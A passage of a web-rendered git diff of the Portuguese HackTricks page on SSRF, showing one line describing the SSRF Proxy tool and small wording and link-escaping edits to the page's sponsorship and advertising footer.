SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).
|
||||
|
||||
### Para praticar
|
||||
|
||||
|
@ -389,7 +391,7 @@ SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o t
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -399,7 +401,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Tenha Acesso Hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|
||||
|
|
Loading…
Reference in a new issue